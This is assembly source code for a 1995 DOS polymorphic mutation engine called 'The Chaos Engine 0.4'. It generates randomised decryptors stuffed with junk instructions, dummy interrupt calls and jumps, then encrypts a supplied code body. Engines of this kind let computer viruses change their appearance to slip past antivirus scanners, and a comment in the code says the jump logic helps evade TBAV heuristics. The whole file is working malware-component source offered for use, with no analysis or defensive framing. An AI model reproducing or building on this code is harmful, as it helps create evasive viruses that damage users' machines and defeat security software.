        radix   16

;*****************************************
;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
;*****************************************
;1995 - Sepultura - Australia
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;on CALLing of TCE -
;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
;;;               2 - Make Short Decryptor (No Junk).
;;;               4 - Add Segment Overide.
;;;
;;;CX = Length of Code to Encrypt.
;;;DX = Delta Offset.
;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
;;;ES:DI = Location of Buffer to Create Decryptor in.
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;ON RETURN:
;;;ES = DS = Segment of Decryptor / Encrypted Code
;;;DX = Pointer to Start of Code
;;;CX = Length of Code
;;;;;;;;;;;;;;;;;;;
;;;Flag EQUates

MAKE_SMALL      equ     1
PAD_TO_MAX      equ     2
ADD_SEG         equ     4

;;;;;;;;;;;;;;;;;;;
;;;W.H.A.T.E.V.E.R

DECRYPTOR_LENGTH        equ     190h
MAX_PADDING             equ     90h - 1f
length_1                equ     (offset int_tbl - offset one_byters)-1

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;REGISTER TABLE - INTEL STANDLE FORMAT

tce_AX                   equ    0000xB
tce_CX                   equ    0001xB
tce_DX                   equ    0010xB
tce_BX                   equ    0011xB
tce_SP                   equ    0100xB
tce_BP                   equ    0101xB
tce_SI                   equ    0110xB
tce_DI                   equ    0111xB

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;THe BeLoW InSTuCTiOn CaN KilL A MaN

db      '[TCE-0.4]',0

;*****************************************************
;*****************************************************
;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
;*****************************************************
;*****************************************************

tce:    push    ax,bx,bp
        push    di,si

        cld

        mov     tce_begin,di
        mov     tce_delta,dx
        mov     c_length,cx
        mov     tce_flags,ax
        call    clear_regs
        mov     B index_sub,0

        mov     B[offset more_junk],0b0
        test    W tce_flags,MAKE_SMALL
        if nz   mov B[offset more_junk],0c3

        push    si
        call    get_rand_1f
        add     ax,MAX_PADDING
        xchg    cx,ax
        call    more_junk

swap0:  mov     si,offset init_1
        lodsw
        call    binary
        jz      no_swap1
        xchg    ax,[si]
        mov     [si-2],ax

no_swap1:
        push    ax
        lodsw
        call    binary
        jnz     no_swap2
        xchg    ax,[si]
        mov     [si-2],ax

no_swap2:
        push    ax
        lodsw
        lodsw
        call    binary
        jz      build_code
        xchg    ax,[si]
        mov     [si-2],ax

build_code:
        pop     ax
        call    ax
        call    pad_10
        pop     ax
        call    ax
        call    pad_10
        call    W init_3
        call    pad_10
        call    gen_decrypt
        call    pad_8
        call    W init_4
        call    pad_8
        call    W init_5
        call    pad_10
        call    gen_loop
        call    pad_8

        test    W tce_flags,PAD_TO_MAX
        jz      no_padding

        mov     B[offset more_junk],0b0
        mov     cx,DECRYPTOR_LENGTH
        add     cx,tce_begin
        sub     cx,di
        call    more_junk

no_padding:
        mov     ax,di
        sub     ax,DECRYPTOR_LENGTH
        add     enc_index,ax
        mov     bx,W index_loc
        cmp     B index_sub,1
        if e    neg ax
        add     es:[bx],ax

        pop     si
        mov     cx,c_length
        rep     movsb
        mov     dx,tce_begin
        mov     ds,es
        call    encryptor
        mov     cx,di
        sub     cx,dx

        pop     si,di
        pop     bp,bx,ax
        ret

init_count:                     ;Initialises Count Register..
        call    get_unused_reg  ;Make Count Initialiser in Encryptor and
        cmp     al,tce_DX
        je      init_count
        mov     count_reg,al    ;Decryptor
        mov     bx,W c_length
        shr     bx,1
        mov     W enc_length,bx
        call    gen_mov_reg
        ret

init_index:                     ;Initialises Index Register..
        mov     ax,0ff          ;Makes Index Initialiser in Encryptor and
        call    get_rand        ;Decryptor..
        push    ax
        call    get_rand_7
        pop     ax
        if z    xor ax,ax
        mov     B index_off,al
        mov     bx,DECRYPTOR_LENGTH
        add     bx, tce_begin
        mov     W enc_index,bx
        add     bx, tce_delta
        cbw
        sub     bx,ax

get_index:
        call    get_unused_reg
        cmp     al,tce_BX
        jb      get_index
        mov     W index_num,ax
        mov     B index_reg,al
        mov     B index_set,1
        call    gen_mov_reg
        mov     B index_set,0
        ret

gen_decrypt:                    ;generates DECRYPTOR / ENCRYPTOR instruction
        mov     W loop_start,di
        call    pad_8
        mov     bl,B key_reg
        sal     bl,3
        call    get_rand_2
        add     ax,ax
        add     ax,offset enc_table
        xchg    si,ax
        lodsw
        call    binary
        if z    xchg ah,al
        push    ax
        cmp     si,offset enc_table + 2
        jne     no_carry_set
        mov     al,0f8
        call    binary
        if z    inc ax
        mov     B enc_cf,al
        stosb

no_carry_set:
        test    W tce_flags,ADD_SEG
        jz      no_seg_set
        mov     al,2e
        stosb

no_seg_set:
        pop     ax
        stosb
        mov     B enc_loop,ah
        mov     si,W index_num

        cmp     B index_reg,tce_BP
        je      encryptor_has_offset
        cmp     B index_off,0
        jne     encryptor_has_offset
        push    ax
        call    get_rand_7
        pop     ax
        jz      encryptor_has_offset
        add     si,index_tab_c
        lodsb
        or      al,bl
        stosb
        ret

encryptor_has_offset:
        add     si,index_tab_b
        lodsb
        or      al,bl
        mov     ah,B index_off
        or      al,bl
        stosw
        xchg    al,ah
        cbw
        call binary
        jnz     ret
        mov     al,ah
        stosb
        add     es:B[di-3],40
        ret

modify_key:                     ;Modify Key: XOR/ADD/SUB key_reg,xxxx
        call    get_rand_7
        jz      no_mod_key
        call    get_rand_2
        add     ax,offset modify_table
        xchg    si,ax
        lodsb
        mov     ah,al
        mov     al,81
        mov     W enc_mod_op,ax
        or      ah,B key_reg
        stosw
        call    get_any_rand
        stosw

no_mod_key:
        mov     W enc_mod_val,ax

        ret

inc_index:                      ;increase index by 2..
        call    binary          ;1 in 2 chance of ADD reg,2/SUB reg,-2
        jz      add_sub_index

        mov     al,B index_reg
        or      al,40
        stosb
        call    pad_8
        stosb
        ret

add_sub_index:
        mov     al,83
        stosb
        mov     ah,2
        mov     al,B index_reg
        or      al,0c0

        call    binary
        jnz     put_add_sub_index

        neg     ah
        or      al,0e8

put_add_sub_index:
        stosw
        ret

gen_loop:
        mov     al,B count_reg
        cmp     al,tce_CX
        jne     not_CX

        push    ax
        call    get_rand_7
        pop     ax
        jz      not_CX

        lea     bx,[di+2]
        mov     ax,W loop_start
        sub     ax,bx
        mov     ah,0e2
        call    binary
        jnz     no_loop_nz
        xchg    bp,ax
        jmp     short do_loop_nz

no_loop_nz:
        xchg    ah,al
        stosw
        ret

not_CX: xchg    bx,ax

        call    binary
        jz      count_add_sub

        mov     al,48
        or      al,bl
        stosb
        jmp     short zero_test


count_add_sub:
        mov     al,83
        stosb
        mov     ah,-1
        mov     al,bl
        or      al,0c0

        call    binary
        jnz     put_add_sub_count

        neg     ah
        or      al,0e8

put_add_sub_count:
        stosw
        xor     bp,bp
        push    ax
        call    get_rand_7
        pop     ax
        jz      nloop_nz

zero_test:
        call    pad_10
        xor     bp,bp
do_loop_nz:
        mov     al,B count_reg
        mov     bl,al
        sal     al,3
        or      al,bl
        xchg    ah,al
        mov     bh,ah
        call    get_rand_2
        add     ax,offset zero_test_a
        xchg    si,ax
        lodsb
        mov     ah,bh
        or      ah,0c0
        stosw

nloop_nz:
        lea     bx,[di+2]
        mov     ax,W loop_start
        sub     ax,bx
        or      bp,bp
        jnz     loop_nz
        mov     ah,075
        call    binary
        jnz     nnnn
        mov     B es:[di],0f8
        inc     di
        sub     ax,0fe01
        db      0a9

loop_nz:mov     ah,0e0


nnnn:   xchg    ah,al
        stosw
        ret

init_key:
        call    get_any_rand
        mov     W enc_key,ax
        xchg    bx,ax
        call    get_unused_reg
        mov     B key_reg,al

gen_mov_reg:
        call    binary
        jz      lea_mov

        or      al,0b8
        stosb
        xchg    ax,bx
        jmp     short put_mov_b

lea_mov:call    binary
        jz      zero_then_add

        sal     al,3
        or      al,06
        mov     ah,8d
        xchg    ah,al
        stosw
        xchg    ax,bx
        jmp     short put_mov_b

zero_then_add:          ;Zero Register (XOR/SUB reg,reg)
        push    bx      ;Then OR/XOR/ADD Value
        push    ax      ;or SUB -Value
        mov     ah,0c0
        or      ah,al
        sal     al,3
        or      ah,al
        mov     al,29
        call    binary
        if z    mov al,31
        stosw
        call    pad_10
        pop     bx
        call    get_rand_2
        add     ax,offset value_from_0
        xchg    si,ax
        lodsb
        call    binary
        jz      zero_then_sub

        or      al,bl
        mov     ah,81
        xchg    ah,al
        stosw
        pop     ax

put_mov_b:
        cmp    B index_set,01
        if e   mov W index_loc,di
        stosw
        ret

zero_then_sub:
        cmp     B index_set,01
        if e    mov     B index_sub,1
        mov     al,0e8
        or      al,bl
        mov     ah,81
        xchg    ah,al
        stosw
        pop     ax
        neg     ax
        jmp     short put_mov_b

pad_8:  push    ax              ;Sub Procedure to Pad Between 1 and 8 bytes
        call    get_rand_7
        inc     ax
        jmp     short padder

pad_10: push    ax
        call    get_rand_1f     ;Sub Procedure to Pad Between 8 and 16 bytes
        or      al,8
padder: xchg    cx,ax
        call    more_junk
        pop     ax
        ret


more_junk:
        mov     al,03
        call    get_rand_b
        jnz     mj0

        mov     B [offset code_jmp],083 ;Re-Enable Jumps
        mov     ax,cx                   ;else normal filler junk (1 in 16)
        cmp     ax,40
        if a    mov al,40
        call    get_rand_b
        xchg    bx,ax
        call    fill_jnk
        jmp     short mj2

mj0:                                    ;8 in 16 chance of some type of jump
        call    code_jmp


mj2:    jcxz    ret
        jmp     short more_junk


one_byte:                       ;GENERATES A ONE BYTE JUNK INSTRUCTION
        jcxz    ret
        mov     si,one_byters   ;FROM one_byters TABLE
        mov     al,length_1
        call    get_rand_b
        add     si,ax
        movsb
        dec     cx
        dec     bx
        ret

reg_op: call    get_rand_7      ;ANY OP unused_reg16,reg16..
        sal     al,3
        or      al,3
        xchg    dx,ax
        call    get_unused_reg
        sal     al,3
        mov     dh,al
        call    get_rand_7
do_op:  or      dh,al
        or      dh,0c0
        xchg    dx,ax
put_2:  cmp     bx,2
        jb      one_byte
        stosw
        dec     cx,2
        dec     bx,2
        ret


lea_reg:call    get_rand_7      ;LEA unused_reg,[BP/BX/SI/DI]
        cmp     al,6
        je      lea_reg

        xchg    dx,ax
        call    get_unused_reg
        sal     al,3
        or      al,dl
        mov     ah,08d
        xchg    ah,al

        jmp     short put_2

op_ax:  call    get_any_rand
        and     al,8
        or      al,5
        and     ah,3
        shr     ah,4
        or      al,ah

put_3:  cmp     bx,3
        jb      reg_op
        stosb
        call    get_any_rand
put_3b: stosw
        sub     cx,3
        sub     bx,3
        ret

mov_reg:call    get_unused_reg  ;MOV unused_reg16,xxxx
        or      al,0b8
        jmp     short put_3


op_reg_im:                      ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
        cmp     bx,4
        jb      op_ax
        call    get_unused_reg
        mov     ah,81
        xchg    dx,ax
        call    get_rand_7
        sal     al,3
        or      ax,dx
        xchg    ah,al
        or      ah,0c0
        stosw
        call    get_any_rand
        stosw
        sub     bx,4
        sub     cx,4
        ret


code_jmp:
        cmp     cx,3
        jb      ret

        mov     B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
                                        ;(TBAV-J) and helps stops heuristics
        call    get_any_rand            ;else conditional jmp
        and     ax,1f0f                 ;between 4 and 43 bytse jmp length
        add     ah,4
        or      al,70                   ;conditional jmp instructions are 70
                                        ;--> 7f
        push    ax
        call    get_rand_1f
        pop     ax
        if z    mov al,0e3
        xor     bx,bx
        mov     bl,ah

        dec     cx,2
        cmp     bx,cx
        jb      put_jmp
        mov     bx,cx
        mov     ah,bl

put_jmp:stosw

fill_jnk:
        or      bx,bx
        jz      ret

        mov     al,((offset binary - offset junk_tbl)/2)-1
        call    get_rand_b
        add     ax,ax
        add     ax,offset junk_tbl
        xchg    si,ax
        lodsw
        call    ax
        jmp     short fill_jnk


pp_reg:                  ;generate PUSH reg / junk / POP reg
        cmp     bx,3
        jb      gen_int

        lea     ax,[bx-2]
        shr     ax,1
        call    get_rand
        xchg    ax,dx
        call    get_rand_7
        or      al,50
        stosb
        dec     cx
        dec     bx
        push    ax
        xchg    dx,ax
        sub     bx,ax
        push    bx
        xchg    bx,ax
        call    fill_jnk
        pop     bx
        pop     ax

        call    binary
        jz      use_same
        call    get_unused_reg
        or      al,50

use_same:
        or      al,8
        stosb
        dec     cx
        dec     bx
        ret


gen_int:cmp     bx,4
        jb      ret

        call    get_rand_2

        add     ax,ax
        add     ax,offset int_tbl
        xchg    si,ax
        lodsw
        mov     dx,0cdb4
        xchg    al,dl
        stosw
        xchg    dx,ax
        xchg    ah,al
        stosw
        sub     cx,4
        sub     bx,4
        ret

junk_tbl:       dw      offset  op_reg_im
                dw      offset  op_reg_im
                dw      offset  op_reg_im
                dw      offset  gen_int
                dw      offset  gen_int
                dw      offset  pp_reg
                dw      offset  pp_reg
                dw      offset  reg_op
                dw      offset  reg_op
                dw      offset  lea_reg
                dw      offset  lea_reg
                dw      offset  mov_reg
                dw      offset  op_ax
                dw      offset  one_byte

binary: push    ax
        mov     al,1
        call    get_rand_b
        pop     ax
        ret

get_rand_2:
        mov     al,2
        db      0a9

get_rand_7:
        mov     al,7
        db      0a9

get_rand_1f:
        mov     al,1f
        db      0a9

get_any_rand:                   ;return rnd number in AX between 0 and FFFE
        mov     al,0fe

get_rand_b:
        cbw

get_rand:                       ;returns random number in AX between 0 and AX
        push    cx,dx
        inc     ax
        push    ax
        in      ax,40
        xchg    cx,ax
        in      ax,40
        rol     ax,cl
        xchg    cx,ax
        in      ax,40
        xor     ax,cx
        adc     ax,1234
        org     $-2
last_rand       dw      0AAAA
        mov     last_rand,ax
        pop     cx
        xor     dx,dx
        cmp     cx,1
        adc     cx,0
        div     cx
        xchg    dx,ax
        or      ax,ax
        pop     dx,cx
        ret

one_byters:     cmc                     ;15 1 byte junk instructions
                cld
                std
                in      ax,dx
                in      al,dx
                lahf
                cbw
                nop
                aaa
                aas
                daa
                das
                inc     ax
                dec     ax
                xlat


int_tbl:        dw      0116    ;AH=01,INT16: Check Keyboard Buffer..
                dw      0216    ;AH=02,INT16: Get Keyboard States..
                dw      4d21    ;AH=4D,INT21: Get Program Terminate Status..
                dw      4d21    ;AH=4D,INT21: Get Program Terminate Status..
                dw      0d10    ;AH=0D,INT10: Get Video Info..
                dw      0b21    ;AH=0B,INT21: Check Keyboard Buffer..
                dw      002a
                dw      002a


clear_regs:     cwd
                mov     B index_reg,dl      ;Clears Register Tables
                mov     B key_reg,dl        ;(All Regs Free)..
                mov     B count_reg,dl
                ret

get_unused_reg: call    get_rand_7      ;Return an Unused Register..
                test    al,NOT tce_SP   ;But _NOT_ SP, or AX.
                jz      get_unused_reg
                cmp     al,index_reg
                je      get_unused_reg
                cmp     al,count_reg
                je      get_unused_reg
                cmp     al,B key_reg
                je      get_unused_reg
                ret


;**********************************************
;* The Encryptor (Built along with Decryptor) *
;**********************************************
encryptor:      mov     cx,1234
                org     $-2
enc_length      dw      0

                mov     bx,1234
                org     $-2
enc_index       dw      0

                mov     ax,1234
                org     $-2
enc_key         dw      0

enc_cf:         nop
enc_loop:       xor     [bx],ax

enc_mod_op      dw      0
enc_mod_val     dw      0

                inc     bx,2
                loop    enc_cf
                ret

;****************************
;* Data / Variables / Flags *
;****************************

init_1  dw      offset init_count
init_2  dw      offset init_key
init_3  dw      offset init_index

init_4  dw      offset inc_index
init_5  dw      offset modify_key

;* The Below is A table of Values to Be Used To Choose *
;* The Count Register, The Index Register, and The Reg *
;* to   save  SP   in   During   the  Decryptor   Loop *
;                             BX   BP SI DI     ;This Table is used To Build
index_tab_b:    db      0,0,0,47,0,46,44,45     ;The Decryptor Instruction
index_tab_c:    db      0,0,0,7,0,0,4,5         ;Same As Above
;                       SBB ADC XOR XOR ADD SUB
enc_table:      db      19, 11, 31, 31, 01, 29  ;The Decryptor Opcodes..

;                       AND OR TEST
zero_test_a:    db      21, 09,85

;                       SUB                     ;Opcodes to Modify the Key
modify_table:   db      0e8                     ;Register
;                       ADD XOR OR              ;Opcode to get A value
value_from_0:   db      0c0,0f0,0c8             ;from 0.

loop_start      dw      0       ;Postion for LOOP to Jump to..

index_num       dw      0
index_off       db      0       ;OFFSET of INDEX reference (i.e: [SI+XX]).
index_loc       dw      0       ;location in ES of index reference set
index_sub       db      0       ;Was index_reg set using 0 the sub -value?

index_reg       db      0       ;Table of Used Registers..
count_reg       db      0       ;used in GET_UNUSED_REG
key_reg         db      0
index_set       db      0

tce_flags       dw      0       ;Engines Flags
tce_delta       dw      0       ;Delta Offset
tce_begin       dw      0       ;Beginning
c_length        dw      0
end_tce:

